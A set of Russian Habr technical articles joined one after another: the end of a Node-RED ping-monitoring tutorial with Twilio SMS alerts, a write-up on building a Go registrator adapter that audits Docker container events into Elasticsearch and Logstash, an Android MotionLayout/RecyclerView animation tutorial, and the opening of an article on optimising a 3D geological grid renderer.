3. Ищем и выбираем сервис Node-RED Starter в каталоге.
4. Вводим для приложения уникальное имя, которое автоматически специфицирует имя хоста и нажимаем Create. Дожидаемся появления следующего сообщения: Your app is running. YourAppName.eu-gb.mybluemix.net. Если появилось сообщение об ошибке вида: Error: Lost connectiontoserver, то следует убедиться в том, что вы используете HTTPS-соединение. При этом ваш URL-адрес должен выглядеть примерно следующим образом: pinggo.eu-gb.mybluemix.net/red.
### Создание приложения с двумя узлами
Теперь начинаем работу с Node-RED с создания простого приложения с двумя узлами.
1. Откройте URL- ссылку для своего Bluemix-приложения и нажмите Go to your Node-RED flow editor. В редакторе потоков вы увидите пустой лист в центре экрана и несколько доступных узлов в палитре слева.
2. Найдите в палитре узел Inject (в разделе Input). Перетащите его на пустой лист. У этого узла есть кнопка, которая будет отсылать на подключенные узлы метку текущего времени.
3. Найдите в палитре узел Debug (в разделе Output). Перетащите его и разместите рядом с узлом Inject. Этот узел позволяет вам видеть входящие сообщения на вкладке Debug вашего приложения.
4. Свяжите выходной порт узла Inject с входным портом узла Debug. Сообщения с метками времени узла Inject будут направляться на узел Debug. При этом узел Debug отображает текст msg.payload (метка времени) на вкладке Debug (свяжите эти два узла, для чего нажмите на серый квадрат на правой стороне узла Inject и, не отпуская кнопки, переместите курсор к серому квадрату на левой стороне узла Debug)
5. Разверните поток Node-RED, для чего нажмите кнопку Deploy в правом верхнем углу страницы.
Нажмите кнопку на левой стороне узла Inject.
Метка времени момента нажатия отобразится на вкладке Debug, как показано на рисунке ниже.
### Добавляем пользовательский узел к палитре
На этом этапе добавляем к палитре узел Ping. Для добавления пользовательского узла редактируем JSON-файл с именем package.json.
1. Возвращаемся в инструментальную панель Bluemix.
2. В левой навигационной панели открываем страницу Files.
3. Перейдите к файлу app/package.json.
Видим файл, который подобен файлу в этом листинге:
```
{ «name»: «node-red-bluemix», «version»: «0.4.22», «dependencies»: { «when»: "~3.x", «mongodb»: "~1.4.x", «nano»: "~5.11.0", «cfenv»:"~1.0.0", «feedparser»:"~0.19.2", «redis»:"~0.10.1", «node-red»: «0.x», «node-red-bluemix-nodes»:«0.x», «node-red-node-cf-cloudant»:«0.x», «node-red-contrib-scx-ibmiotapp»:«0.x», «node-red-contrib-ibmpush»:«0.x», «node-red-contrib-bluemix-hdfs»:«0.x», «node-red-nodes-cf-sqldb-dashdb»:«0.x» }, «engines»: { «node»: «0.10.x» } }
```
4. Измените файлы приложения. Вам нужно отредактировать файл app/package.json и добавить запись «node-red-node-ping»:«0.0.6» в список необходимых пакетов в разделе зависимостей этого файла.
Изменить файлы приложения можно двумя способами. Вы можете загрузить приложение, отредактировать файлы локально, а затем передать изменения обратно в среду Bluemix. Вы также можете воспользоваться сервисами IBM DevOpsServices, чтобы отредактировать и развернуть свои изменения непосредственно из веб-браузера.
Чтобы загрузить и отредактировать файлы приложения локально, следуйте инструкциям на странице [Start Coding](https://www.eu-gb.bluemix.net/docs/starters/install_cli.html) в инструментальной панели Bluemix. На этой странице приведены инструкции по развертыванию приложения с помощью интерфейса командной строки CloudFoundry.
Чтобы воспользоваться сервисами IBM DevOps, следуйте инструкциям в [этом учебном пособии](https://hub.jazz.net/tutorials/jazzeditor/?utm_source=dwrussia&utm_campaign=bluemix&utm_content=iot-monitoring-app-node-red-bluemix-trs&utm_medium=article). В нем описано, как настроить интеграцию с Git, как передать сделанные изменения в среду и как развернуть их в вашем рабочем пространстве.
Однако если вы выберете способ с редактированием файла package.json, новый файл должен выглядеть следующим образом.
5. Возвращаемся в редактор потока.
6. Обновляем редактор потока, видим, что в нижней части палитры появился новый узел Ping.
### Добавляем узел Ping к нашему потоку
1. Перетаскиваем узел Ping на лист в редакторе потока;
2. Дважды нажимаем на этот узел для того, чтобы отредактировать его конфигурацию. Вводим IP-адрес машины, мониторинг которой необходимо осуществить, в поле Target. Указываем для этого узла короткое описательное имя, например, pingmyServer. После этого нажимаем ОК.
3. Наблюдаем за выходом узла Ping, для этого нужно соединить узел Debug с этим выходом.
4. Разворачиваем Node-RED приложение с узлами, которые определены к настоящему моменту. Отладочные сообщения отображаются на вкладке Debug на правой панели рисунка, указанного выше.
### Проверяем ping-ответы
В случае успешного прохождения ping-запроса узел Ping возвращает продолжительность его прохождения в свойстве msg.payload. Если от сервера не поступает никакого ответа в пределах 5 секунд, этот узел возвращает значение false. Для проверки значения msg.payload можно настроить узел Function.
1. Найдите раздел Function в своей палитре и перетащите узел Function поблизости к узлу Ping на листе.
2. Свяжите выход узла Ping с входом узла Function.
3. Дважды нажмите на этот узел, чтобы отредактировать его. В поле Name введите текст: is Alive?..
В функциональном блоке добавьте следующий код:
```
msg.tripTime = msg.payload; msg.payload = msg.payload !== false? «Your server is running»: «Your server is down»; return msg;
```
4. Нажмите OK, чтобы отредактировать диалог.
Узел Function создаст строку, которая содержит текст «Yourserverisrunning» (Ваш сервер работает), если он получил ответ в пределах 5 секунд, или текст «Yourserverisdown» (Ваш сервер не работает"), если ваш сервер недоступен.
5. Поскольку вы скорее всего не хотите получать новые SMS-сообщения каждые 20 секунд, добавьте к потоку своего приложения узел для обработки исключений.
a. Перетащите узел «ReportbyException» на лист.
b. Дважды нажмите на этот узел и выберите опцию blockunlessvaluechanges.
Теперь сообщения не будут поступать до тех пор, пока свойство msg.payload не будет отличаться от аналогичного свойства предыдущего сообщения.
c. В поле Name для этого узла введите с клавиатуры sendonce.
d. Нажмите OK.
### Отправляем SMS-предупреждений с помощью Twilio
На этом этапе почти все готово, осталось лишь добавить к потоку приложения узел Twilio.
1. Спишите свой номер и учетные данные Twilio из учетной записи Twilio, которую вы создали.
a. Откройте страницу Twilio для обмена сообщениями.
b… Нажмите GetyourfirstTwilioNumber. Запомните этот номер SMS-отправителя; например, можете скопировать его в текстовый файл.
c. Нажмите ChoosethisNumber.
d. На странице Twilio для обмена сообщениями найдите и нажмите маленькую ссылку под названием Show API Credentials. Запомните SID-идентификатор и аутентификационныйтокен своей учетной записи; например, скопируйте их в текстовый файл.
2. Вернитесь в редактор потока.
3. Найдите узел Twilio в разделе Output палитры и перетащите его на свой лист.
4. Дважды нажмите на узел Twilio, чтобы сконфигурировать его настройки.
a. В поле Service выберите ExternalService.
b. Нажмите на значок редактирования, чтобы открыть диалоговое окно Addnewtwilio-apiconfignode.
c. В этом диалоговом окне введите SID-идентификатор учетной записи, номер телефона SMS-отправителя и аутентификационныйтокен, которые вы скопировали со страницы обмена сообщениями Twilio.
d. Нажмите Add, чтобы вернуться к диалоговому окну Edit.
e. В поле SMS to введите номер своего мобильного телефона (номер мобильного телефона вашего SMS-получателя).
5. Вполе Name введите: SMS alert to admin инажмите OK.
6. Нажмите Deploy в редакторе потока.
### Разворачивание Node-RED-приложения
Нажимаем Deploy в редакторе потока. Все готово. Теперь можно развернуть и использовать приложение для мониторинга своего компьютера или своей сети. Вы, как пользователь приложения, связали стандартные и пользовательские узлы в единый поток, указав свой мобильный телефон в качестве получается SMS-уведомлений. | https://habr.com/ru/post/323006/ | null | ru | null |
# Как я писал аудит запуска Docker-контейнеров на Go
Всеобщая контейнеризация захватывает мир. Не обошла эта эпидемия и меня стороной, и теперь, последние шесть месяцев, я занимаюсь тем, что сегодня принято называть модным словом DevOps. В проектах, которыми я занимаюсь, мы решили использовать [Docker](https://www.docker.com/), ведь он делает процесс развёртывания приложений до неприличия простым, и буквально заставляет вас следовать другому не менее модному сегодня течению — микросервисной архитектуре, которая способствует бурному размножению этих самых контейнеров на его основе. В какой-то момент понимаешь, что было бы неплохо собрать статистику их жизни и смерти в отнюдь небезопасной среде обитания. А в качестве бонуса изучить инструменты, которые используешь в работе, понаписать что-то не на основном языке программирования, да и просто сделать что-то необязательное, но полезное.
В статье я расскажу как за три вечера и кусочек ночи был разработан проект для аудита и сбора статистики жизненного цикла контейнеров.
Первая половина дела
====================
Беглый поиск в гугле не привёл к нахождению уже готового решения, поэтому будем делать сами.
Что нужно:
* мониторинг запуска и остановки отдельного взятого контейнера
* отправка сообщений о событии в некое хранилище
* удобный инструмент для просмотра событий и их последующего анализа
Первую задачу решает [registrator](https://github.com/gliderlabs/registrator). Это решение от ребят из GliderLabs, которое позволяет автоматически регистрировать контейнеры в системах хранения конфигурации, такие как Сonsul или Netflix Eurika. К сожалению, последние заточены под совсем другую задачу: сказать какие сервисы сейчас доступны, и где расположены контейнеры, которые их реализуют.
Если рассмотреть каждое событие (запуск или смерть контейнера) как запись некоего лога, с которым мы можем делать всё что нам нужно, то для хранения этих записей можно взять ElasticSearch, а для просмотра и анализа в реальном времени — Kibana.
Нам остаётся решить второй пункт, а именно сделать связку между регистратором и эластиком.
Как устроен регистратор
=======================
Всякое развлечение начинается с форка, поэтому смело жмём кнопочку на GitHub-е для репозитория (https://github.com/gliderlabs/registrator). Клонируем себе на локальную машину и смотрим содержимое:
```
registrator.go // основной файл запуска приложения
modules.go // подключение реализованных модулей (consul, etcd и т.д.)
Dockerfile // файл сборки docker-контйнера
Dockerfile.dev // файл для сборки dev-версии контейнера
/bridge // отсылаем данные во вне
/consul // реализация отправки сообщения в consul
```
Схема простая. В registrator.go создаётся Docker-клиент, который слушает сокет, и, при возникновении какого-либо события (запуска, остановки или смерти контейнера), передаёт в bridge идентификатор контейнера и событие с ним связанное. Внутри bridge-а создаётся адаптер (модуль), который был указан при запуске приложения, в который уже передаётся детальная информация о контейнере для её последующей обработки. Таким образом достаточно добавить новый модуль, который будет пересылать данные в ElasticSearch.
make dev
========
Прежде чем писать код, попробуем собрать и запустить проект. В Makefile-е есть таск, в котором создаётся и запускается новый Docker-образ:
```
dev:
docker build -f Dockerfile.dev -t $(NAME):dev .
docker run --rm --net host \
-v /var/run/docker.sock:/tmp/docker.sock \
$(NAME):dev /bin/registrator consul:
```
consul намекает нам на то, что это мастер-система по-умолчанию, без которой приложение не будет работать. Поставим его в Docker-контейнере в режиме standalone:
```
$ docker run -p 8400:8400 -p 8500:8500 -p 53:53/udp \
-h node1 progrium/consul -server -bootstrap
```
Затем запустим сборку регистратора:
```
make dev
```
Если всё прошло удачно (к сожалению удача она такая штука), то мы увидим что-то вроде этого:
```
2015/04/04 19:55:48 Starting registrator dev ...
2015/04/04 19:55:48 Using elastic adapter: consul://
2015/04/04 19:55:48 Listening for Docker events ...
2015/04/04 19:55:48 Syncing services on 4 containers
2015/04/04 19:55:48 ignored: cedfd1ae9f68 no published ports
2015/04/04 19:55:48 added: b4455d0f7d50 ubuntu:kibana:80
2015/04/04 19:55:48 added: 3d598d184eb6 ubuntu:nginx:80
2015/04/04 19:55:48 ignored: 3d598d184eb6 port 443 not published on host
2015/04/04 19:55:48 added: bcad15ac5759 ubuntu:determined_goldstine:9200
2015/04/04 19:55:48 added: bcad15ac5759 ubuntu:determined_goldstine:9300
```
Как видно у нас было 4 контейнера. У одного из них не было портов, у другого — порт 443 не был опубликован и т.д. Чтобы проверить, что сервисы действительно добавились, можно воспользоваться утилитой dig
```
dig @localhost nginx-80.service.consul
```
Добавить -80 к имени контейнера необходимо, поскольку nginx выставляет наружу несколько портов, и с точки зрения Consul-а это разные сервисы.
Итак, мы запустили регистратор, а это значит, что самое время начать писать код.
Go Go Go
========
Адаптеры в проекте для различных бэкендов реализуются в виде отдельных модулей. Вообще в Go модуль очень занятная штука. Это может быть как локальная папка, так и проект на GitHub-е, разницы в подключении практически нет.
Добавим новую папку в корень проекта: /elastic и разместим в ней файл с нашей будущей реализации: elastic.go.
Дадим имя по-умолчанию для нашего модуля
```
package elastic
```
Заимпортируем необходимые нам сторонние пакеты:
```
import (
"net/url"
"errors"
"encoding/json"
"time"
"github.com/gliderlabs/registrator/bridge"
elasticapi "github.com/olivere/elastic"
)
```
Чтобы обрабатывать события, нужно реализовать интерфейс
```
type RegistryAdapter interface {
Ping() error //проверяем жив ли наш бэкенд
Register(service *Service) error
Deregister(service *Service) error
Refresh(service *Service) error // можно не реализовывать :)
}
```
Адаптер регистрируется через метод init(), который исполняется при загрузке модуля:
```
func init() {
bridge.Register(new(Factory), "elastic")
}
```
При создании адаптера необходимо создать экземпляр клиента к ElasticSearch:
```
func (f *Factory) New(uri *url.URL) bridge.RegistryAdapter {
urls := "http://127.0.0.1:9200"
if uri.Host != "" {
urls = "http://"+uri.Host
}
client, err := elasticapi.NewClient(elasticapi.SetURL(urls))
if err != nil {
log.Fatal("elastic: ", uri.Scheme)
}
return &ElasticAdapter{client: client}
}
type ElasticAdapter struct {
client *elasticapi.Client
}
```
С помощью метода isRunning() нужно проверить, что экземпляр всё ещё жив
```
func (r *ElasticAdapter) Ping() error {
status := r.client.IsRunning()
if !status {
return errors.New("client is not Running")
}
return nil
}
```
Пусть запись о контейнере будет иметь следующую структуру:
```
type Container struct {
Name string `json:"container_name"`
Action string `json:"action"` //start and stop
Message string `json:"message"`
Timestamp string `json:"@timestamp"`
}
```
Реализуем метод регистрации контейнера:
```
func (r *ElasticAdapter) Register(service *bridge.Service) error
```
Дампим полностью информацию о сервисе в json.
```
serviceAsJson, err := json.Marshal(service)
if err != nil {
return err
}
```
Получаем текущее время. В Go используется забавная нотация для определения формата даты
```
timestamp := time.Now().Local().Format("2006-01-02T15:04:05.000Z07:00")
```
Создаём новую запись для лога:
```
container := Container {
Name: service.Name,
Action: "start",
Message: string(serviceAsJson),
Timestamp: timestamp
}
```
И отправляем её в специально созданный индекс
```
_, err = r.client.Index().
Index("containers").
Type("audit").
BodyJson(container).
Timestamp(timestamp).
Do()
if err != nil {
return err
}
```
Функция Deregister полностью повторяет предыдущую, только с другим action-ом.
Остаётся поменять в Makefile-е consul на elastic, и прописать модуль в modules.go.
All together now
================
Запускаем ElasticSearch
```
docker run -d --name elastic -p 9200:9200 \
-p 9300:9300 dockerfile/elasticsearch
```
Чтобы Kibana корректно работала с индексом, нужно добавить чуть переработанный шаблон от logstash-а:
```
{
"template" : "containers*",
"settings" : {
"index.refresh_interval" : "5s"
},
"mappings" : {
"_default_" : {
"_all" : {"enabled" : true},
"dynamic_templates" : [ {
"string_fields" : {
"match" : "*",
"match_mapping_type" : "string",
"mapping" : {
"type" : "string", "index" : "analyzed", "omit_norms" : true,
"fields" : {
"raw" : {"type": "string", "index" : "not_analyzed", "ignore_above" : 256}
}
}
}
} ],
"_ttl": {
"enabled": true,
"default": "1d"
},
"properties" : {
"@version": { "type": "string", "index": "not_analyzed" },
"geoip" : {
"type" : "object",
"dynamic": true,
"path": "full",
"properties" : {
"location" : { "type" : "geo_point" }
}
}
}
}
}
}
```
Запускаем Kibana
```
docker run -d -p 8080:80 -e KIBANA_SECURE=false \
--name kibana --link elastic:es \
balsamiq/docker-kibana
```
Запускаем регистратор:
```
make dev
```
Запускаем контейнер с nginx-ом для тестирования решения
```
docker run -d --name nginx -p 80:80 nginx
```
В Kibana нужно настроить новый индекс containers, после чего можно будет увидеть запись о запущенном nginx-е.
Файл с конечной реализацией лежит [тут](https://github.com/aatarasoff/registrator/blob/master/elastic/elastic.go).
В бар врывается logstash
========================
Всем хорошо наше решение, но для его работы нам нужно держать отдельный самописный индекс, и ещё не забыть накатить правильный шаблон с mapping-ами. Чтобы люди не заморачивались подобными вопросами существуют агрегаторы логов, которые не только умеют собирать информацию из огромного количества источников, но и сделают за нас всю грязную работу в части приведения логов к единому формату. Мы возьмём для наших экспериментов logstash.
По традиции запускать logstash мы хотим в контейнере. Официальный Docker-образ для logstash-а поставляется без исходных файлов, что на мой взгляд несколько странно (*как заметил внимательный читатель [grossws](https://habrahabr.ru/users/grossws/), ссылка на [Dockerfile](https://github.com/docker-library/logstash/blob/74708b040ec13a17b49d93a5db0ae11e70e0c1cb/Dockerfile) всё же присутствует*). Второй по популярности и единственный, к слову, нашедшийся на github-e [образ](https://github.com/pblittle/docker-logstash) зачем-то запускает внутри себя и ElasticSearch и Kibana, что противоречит идее «один контейнер — один процесс». Там конечно есть возможность напередавать волшебную комбинацию флагов, но у меня он всё равно при старте лез брать какие-то ключи с сайта автора. На DockerHub-е было ещё с десяток контейнеров от неизвестных мне лиц, поэтому лучше соберём контейнер сами под наши нужды. Всё что нам понадобится — вот такой вот Dockerfile:
```
FROM dockerfile/java:oracle-java8
MAINTAINER aatarasoff@gmail.com
RUN echo 'deb http://packages.elasticsearch.org/logstash/1.5/debian stable main' | sudo tee /etc/apt/sources.list.d/logstash.list && \
apt-get -y update && \
apt-get -y --force-yes install logstash
EXPOSE 5959
VOLUME ["/opt/conf", "/opt/certs", "/opt/logs"]
ENTRYPOINT exec /opt/logstash/bin/logstash agent -f /opt/conf/logstash.conf
```
Образ будет очень простым и запустится только при наличии внешнего конфигурационного файла, что для наших развлекательных задач вполне себе норма. Соберём образ и зальём его на Docker Hub:
```
docker build -t aatarasoff/logstash .
docker push aatarasoff/logstash
```
Создадим конфигурационный файл /mnt/logstash/conf/logstash.conf со следующим содержимым:
```
input {
tcp {
type => "audit"
port => 5959
codec => json
}
}
output {
elasticsearch {
embedded => false
host => "10.211.55.8"
port => "9200"
protocol => "http"
}
}
```
type => «audit» сделает так, что все наши логи будут иметь общее значение в поле type, что позволит нам их отличать от других логов по этому дискриминатору. Остальные настройки довольно очевидны. Запустим свежеиспечённый контейнер:
```
docker run -d -p 5959:5959 -v /mnt/logstash/conf:/opt/conf \
--name logstash aatarasoff/logstash
```
и проверим, что логи будут писаться, если мы по tcp передадим json.
Реализация №2
=============
Мы делаем уже второй модуль, поэтому стоит вынести реализацию в отдельный проект, который назовём [auditor](https://github.com/aatarasoff/auditor). Первым делом нам надо накрутить уже имеющееся «мясо» из регистратора. Поэтому берём наш форк и нагло копируем код себе в проект.
Проверяем, что всё у нас по-прежнему собирается, выполнив команду: make dev.
Замечаем, что в файле regitrator.go модуль bridge подключается как внешняя зависимость, поэтому можно смело удалять эту папку. Снова проверяем, что всё работает.
Изменяем Dockerfile.dev:
```
FROM gliderlabs/alpine:3.1
CMD ["/bin/auditor"]
ENV GOPATH /go
RUN apk-install go git mercurial
COPY . /go/src/github.com/aatarasoff/auditor
RUN cd /go/src/github.com/aatarasoff/auditor \
&& go get -v && go build -ldflags "-X main.Version dev" -o /bin/auditor
```
Аналогично меняем релизный Dockefile. Убираем лишние таски и меняем имя контейнера в Makefile:
```
NAME=auditor
VERSION=$(shell cat VERSION)
dev:
docker build -f Dockerfile.dev -t $(NAME):dev .
docker run --rm --net host \
-v /var/run/docker.sock:/tmp/docker.sock \
$(NAME):dev /bin/auditor elastic:
build:
mkdir -p build
docker build -t $(NAME):$(VERSION) .
docker save $(NAME):$(VERSION) | gzip -9 > build/$(NAME)_$(VERSION).tgz
```
Добавим новый модуль /logstash и файл logstash.go к нашему проекту. Возьмём готового клиента для logstash-а, который туп как пробка, и фактически является просто обёрткой над стандартной библиотекой net: [github.com/heatxsink/go-logstash](https://github.com/heatxsink/go-logstash).
В этот раз структура контейнера будет несколько отличаться от предыдущего варианта:
```
type Container struct {
Name string `json:"container_name"`
Action string `json:"action"`
Service *bridge.Service `json:"info"`
}
```
Связано это с тем, что теперь нам нужно просто сериализовать объект в json и отправить его как строку в logstash, который сам разберётся со всеми полями в сообщении.
Также как и в прошлый раз регистрируем нашу фабрику:
```
func init() {
bridge.Register(new(Factory), "logstash")
}
```
И создаём новый экземпляр адаптера:
```
func (f *Factory) New(uri *url.URL) bridge.RegistryAdapter {
urls := "127.0.0.1:5959"
if uri.Host != "" {
urls = uri.Host
}
host, port, err := net.SplitHostPort(urls)
if err != nil {
log.Fatal("logstash: ", "split error")
}
intPort, _ := strconv.Atoi(port)
client := logstashapi.New(host, intPort, 5000)
return &LogstashAdapter{client: client}
}
type LogstashAdapter struct {
client *logstashapi.Logstash
}
```
Здесь нам пришлось использовать утильный метод net.SplitHostPort(urls), который умеет вычленять хост и порт из строки, потому что клиент принимает их раздельно, а приходят они вместе в uri.Host.
Числовое представление порта можно получить, применив метод конвертации строки в число: intPort, \_ := strconv.Atoi(port). Знак подчёркивания нужен, потому что функция возвращает два параметра, второй из которых ошибка, которую мы можем не обрабатывать.
Реализация метода Ping получилась довольно простой:
```
func (r *LogstashAdapter) Ping() error {
_, err := r.client.Connect()
if err != nil {
return err
}
return nil
}
```
Фактически мы проверяем, что можем подключиться по tcp к logstash-у. В функции Connect повторное подключение произойдёт только если текущее уже не может быть использовано.
Осталось реализовать метод регистрации:
```
func (r *LogstashAdapter) Register(service *bridge.Service) error {
container := Container{Name: service.Name, Action: "start", Service: service}
asJson, err := json.Marshal(container)
if err != nil {
return err
}
_, err = r.client.Connect()
if err != nil {
return err
}
err = r.client.Writeln(string(asJson))
if err != nil {
return err
}
return nil
}
```
Думаю, что код достаточно понятен и не требует комментариев, кроме одного. Вызов Connect перед Writeln гарантирует, что будет получено рабочее соединение.
Метод Deregister полная копия метода выше.
Меняем в Dockerfile.dev в строке запуска elastic на logstash, запускаем и проверяем наличие записей в ElasticSearch:
```
curl 'http://localhost:9200/_search?pretty'
```
… счастьем поделись с другим
============================
Коммитим наши изменения на GitHub и идём собирать образ для DockerHub-а. На [hub.docker.com](https://hub.docker.com/), заходим на свою страницу и жмем кнопку +Add Repository. Когда собирался образ для logstash-a, я выбрал подпункт Repository, который позволяет вручную заливать свои образы, но есть и другой путь — Automated Build. Нажав на него, Docker Hub предложит подключить к нему свой аккаунт на GitHub-е или BitBucket-е. После этого остаётся только выбрать свой репозиторий, нужную ветку, и изменить названия образа, если это очень нужно. Всё остальное, включая перенос описания из README.MD возьмёт на себя Docker Hub.
После небольшого ожидания вот он — готовый [образ](https://registry.hub.docker.com/u/aatarasoff/auditor/).
Теперь можно протестировать его выполнив простую команду:
```
docker run -d --net=host \
-v /var/run/docker.sock:/tmp/docker.sock \
--name auditor aatarasoff/auditor logstash://
```
**PS.** Проект не используется в продакшене, и с моей критичной точки зрения требует допила, но каждый прочитавший статью может его попробовать и, при желании, улучшить. | https://habr.com/ru/post/257913/ | null | ru | null |
# MotionLayout + RecyclerView = красивые анимированные списки
В этой статье я расскажу и покажу, как создавать красивые анимированные списки на основе RecyclerView и MotionLayout. Аналогичный метод я использовал в одном из своих проектов.
> От переводчика: репозиторий автора статьи - <https://github.com/mjmanaog/foodbuddy>.
> Я его [форкнул](https://github.com/StepanMe/foodbuddy), чтобы перевести. Возможно, кому-то "русская версия" подойдёт больше.
>
>
### Что такое MotionLayout?
Если вкратце, то MotionLayout — это подкласс ConstraintLayout, который позволяет с помощью XML описывать движения и анимацию расположенных на нём элементов. Подробнее — [в документации](https://developer.android.com/training/constraint-layout/motionlayout) и [вот здесь](https://medium.com/google-developers/introduction-to-motionlayout-part-i-29208674b10d) с примерами.
Итак, начнём.
### Шаг 1: создадим новый проект
Назовём его, как душе угодно. В качестве активити выберем Empty Activity.
### Шаг 2: добавим необходимые зависимости
В gradle-файл приложения добавим:
```
implementation 'androidx.constraintlayout:constraintlayout:2.0.0-beta1'
```
И запустим синхронизацию (Sync Now в правом верхнем углу).
### Шаг 3: создадим лэйаут
Наш будущий элемент списка будет выглядеть так:
Элемент списка RecyclerViewВ папке *res/layout* создадим файл *item\_food.*
Внутри он выглядит так
```
xml version="1.0" encoding="utf-8"?
```
### Шаг 4: преобразуем ConstraintLayout в MotionLayout
Чтобы преобразовать ConstraintLayout в MotionLayout:
* переключитесь в режим Split или Design;
* в дереве компонентов (Component Tree) щёлкните правой кнопкой мыши на корневой элемент (в данном случае — clMain);
* в появившемся меню выберите *Convert to MotionLayout*.
Как преобразовать ConstraintLayout в MotionLayoutТеперь мы можем работать с MotionLayout.
Содержимое файла item\_food поменялось
```
xml version="1.0" encoding="utf-8"?
```
В папке *res* Студия создала папку *xml* и положила в неё файл *item\_food\_scene.xml*:
> Студия предупреждает (Warnings в нижней части экрана), что у элементов ImageView не заполнен тег *contentDescription*. Можете проигнорировать эти сообщения, а можете добавить в XML-разметке соответствующие теги (для чего они нужны, читайте [здесь](https://developer.android.com/guide/topics/ui/accessibility/apps#describe-ui-element)).
>
>
### Шаг 5: добавим анимацию на ImageView
1. В дереве элементов выберите ivFood (ImageView с основной картинкой);
2. В редакторе MotionLayout выберите end;
3. У выделенного элемента ivFood выделите правую (End) опорную точку и перетащите её за правую (End) границу родительского элемента;
4. Картинка должна встать по центру родительского элемента;
5. Поменяйте значение атрибутов layout\_height и layout\_width на 300dp.
> От переводчика: начальное состояние ImageView (его положение, ширина и высота) осталось без изменений, а его конечное состояние изменилось: он встанет по центру и увеличится в размере в два раза (с 150dp до 300dp).
>
>
### Шаг 6: посмотрим, что получилось
Чтобы воспроизвести анимацию, которую мы только что настроили:
1. В редакторе MotionLayout выделите толстую стрелку, которая соединяет прямоугольники с надписями *start* и *end*;
2. В редакторе ниже станет доступным блок Transition;
3. Нажмите кнопку Play, чтобы воспроизвести анимацию.
### Шаг 7: добавим анимацию на CardView
Порядок действий схож:
1. В дереве компонентов выделите cardView (constraintView с заголовком, описанием, калорийностью и оценкой);
2. В редакторе MotionLayout выберите end;
3. Выделите cardView в появившемся разделе ConstraintSet;
4. В разделе атрибутов элемента перейдите к группе Transforms;
5. Поменяйте значение атрибута alpha на 0.
> От переводчика: у карточки с описанием блюда конечное состояние (end) от начального (start) отличается только значением параметра alpha. В конечном состоянии она будет скрыта (и скрываться она будет плавно).
>
>
### Шаг 8: добавим обработчик нажатий
Чтобы анимация включалась, надо настроить обработчик нажатий:
1. В разделе атрибутов под OnClick добавьте новое поле (кнопка «+»);
2. В параметра targetId выберите значение ivFood;
3. Добавьте ещё одно поле;
4. Для параметра ClickAction выберите значение toggle.
В результате получится такая анимация:### Шаг 9: добавим RecyclerView в activity\_main.xml
```
xml version="1.0" encoding="utf-8"?
```
### Шаг 10: создадим класс и фиктивные данные для примера
```
package com.mjmanaog.foodbuddy.data.model
import com.mjmanaog.foodbuddy.R
data class FoodModel(
val title: String,
val description: String,
val calories: String,
val rate: String,
val imgId: Int
)
val foodDummyData: ArrayList = arrayListOf(
FoodModel(
"Салат с лососем",
"Лосось с овощами — идеальное сочетание для полноценного питания. Простой рецепт блюда, которое содержит в себе богатый набор питательных веществ: белки, жиры и клетчатку.",
"80 ккал",
"4.5",
R.drawable.img\_salmon\_salad
),
FoodModel(
"Куриная грудка-барбекю",
"От курочки, приготовленной на гриле или запечённой в духовке все всегда в восторге, если только она не сухая или пережаренная.",
"80 ккал",
"4.5",
R.drawable.img\_chicken
),
FoodModel(
"Курица с рисом на пару",
"Приготовление на пару — здоровый метод приготовления пищи. Он сохраняет её аромат, нежность и полезные вещества. К тому же для приготовления блюд не используется масло.",
"80 ккал",
"4.5",
R.drawable.img\_chicken\_rice
),
FoodModel(
"Салат Цезарь",
"Зелёный салат из листьев салата ромэн и гренок, заправленный лимонным соком (или соком лайма), оливковым маслом, яйцом, Вустерширским соусом, анчоусами, чесноком, дижонской горчицей, сыром Пармезан и чёрным перцем.",
"80 ккал",
"4.5",
R.drawable.img\_salad
),
FoodModel(
"Просто полезная еда",
"Лосось с овощами — идеальное сочетание для полноценного питания. Простой рецепт блюда, которое содержит в себе богатый набор питательных веществ: белки, жиры и клетчатку.",
"80 ккал",
"4.5",
R.drawable.img\_healthy
)
)
```
### Шаг 11: создадим адаптер и ViewHolder
Тут ничего экзотического нет. Используем нашу FoodModel
### Шаг 12: заполним RecyclerView элементами
```
class MainActivity : AppCompatActivity() {
private var foodAdapter: FoodAdapter = FoodAdapter()
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
rvMain.layoutManager = LinearLayoutManager(this, RecyclerView.VERTICAL, false)
rvMain.adapter = foodAdapter
foodAdapter.addAll(foodDummyData)
}
}
```
В результате этих несложных действий получилась такая анимация:
GIF из статьи не стал добавлять, потому чтоОна вести 11 Мб.
### Ещё кое-что
В файле *item\_food\_scene.xml* содержится описание анимации, которую мы настроили. Никто не мешает вам создавать и редактировать анимации в файлах сцены вручную.
Надеюсь, материал из этой статьи кому-то окажется полезным. Будет круто, если вы узнаете из неё что-то новое.
Спасибо за внимание. | https://habr.com/ru/post/550846/ | null | ru | null |
# Майнкрафт для геологов: 3D-рендеринг миллиарда ячеек на встроенной видеокарте (часть 2)
[В первой части статьи](https://habr.com/ru/company/bashnipineft/blog/544054/) мы реализовали простой (и не очень эффективный) рендерер сетки ГУТ, и пообещали, что оптимизируем рендерер настолько, что он сможет отобразить заявленный в заголовке миллиард ячеек.
Для этого нам придётся значительно сократить объём потребляемой видеопамяти — в текущем виде даже на игровых видеокартах (если бы их можно было купить в наше время!) памяти может не хватить, не говоря уж о видеокартах в офисных компьютерах.
Начнём с того, что проанализируем, сколько памяти требует наш рендерер сейчас. Каждая грань ячейки задана на четырёх вершинах, каждая вершина содержит пять атрибутов общим объёмом в 48 байт. Предположим, что на вход подаётся полностью состыкованная сетка размером 10003. В этом случае будет сгенерировано 4\*6\*10002 вершин для внешних граней сетки, общим объёмом 1098,6 Мб. Не будем забывать и про индексы, коих будет сгенерировано 6\*6\*10002 шт. размером 137,3 Мб.
В реальности, сетки ГУТ часто не полностью состыкованы и обычно имеют маску активности ячеек, из-за чего не отсечённых граней может быть гораздо больше.
Представим пару соседних ячеек, одна из которых активна, а другая – нет. Алгоритм отсечения невидимых граней (см. первую часть [статьи](https://habr.com/ru/company/bashnipineft/blog/544054/)) скажет, что для активной ячейки нужно рисовать грань со стороны неактивной ячейки. Таким образом, чем больше в сетке *не*активных ячеек, тем больше граней будет создано.
Чтобы проиллюстрировать этот случай, сгенерируем тестовую сетку сравнительно небольшого размера — всего 2003 ячеек. Подвох в том, что ровно половину из ячеек случайным образом сделали неактивными — это худший случай для нашего алгоритма отсечения невидимых граней.
Может показаться, что этот пример является надуманным, но с точки зрения отсечения невидимых граней нет разницы, оставлена ли грань из-за нестыкованности или из-за неактивности соседней ячейки.
